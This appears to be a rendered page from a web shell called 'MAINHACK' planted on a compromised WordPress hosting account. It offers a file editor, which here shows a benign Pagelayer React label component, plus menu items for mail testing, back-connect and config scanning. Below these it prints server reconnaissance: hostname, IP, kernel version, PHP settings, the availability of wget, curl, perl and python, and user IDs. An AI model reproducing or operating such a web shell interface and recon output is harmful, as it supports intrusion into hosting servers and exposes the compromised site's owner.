[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: label.js
File is not writable. Editing disabled.
import { useState, useRef, useEffect } from '@wordpress/element'; import { RenderScreenIcons } from './screen-icon'; export const LabelControl = (props) =>{ const { label, prop } = props; var hasScreen = prop?.screen; var hasUnit = prop?.units; var default_unit = 0; var tmp_val = prop['c']['val']; // Get unit from value if(hasUnit && !(pagelayer_empty(tmp_val))){ for(var i in prop['units']){ if(pagelayer_is_string(tmp_val) && tmp_val.search(prop['units'][i]) != -1){ default_unit = i; }else if(typeof tmp_val === 'object' && tmp_val[0].search(prop['units'][i]) != -1 ){ default_unit = i; } } } const [selectedUnit, setSelectedUnit] = useState(default_unit); const handleUnitChange = (index) => { setSelectedUnit(index); // Perform any actions based on the selected unit change }; return ( <div className="pagelayer-elp-label-div"> <label className="pagelayer-elp-label">{label}</label> {hasScreen && <RenderScreenIcons {...props}/>} {hasUnit && <div className="pagelayer-elp-units"> {prop.units.map((unit, index) => ( <span key={index} onClick={() => handleUnitChange(index)} className={index == selectedUnit ? 'selected' : ''} > {unit} </span> ))} </div> } </div> ); }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server306.web-hosting.com
Server IP: 192.64.117.220
PHP Version: 8.2.31
Server Software: LiteSpeed
System: Linux server306.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
HDD Total: 138.28 GB
HDD Free: 102.2 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
No
pkexec:
No
git:
Yes
User Info
Username: awodbsau
User ID (UID): 4522
Group ID (GID): 4521
Script Owner UID: 4522
Current Dir Owner: N/A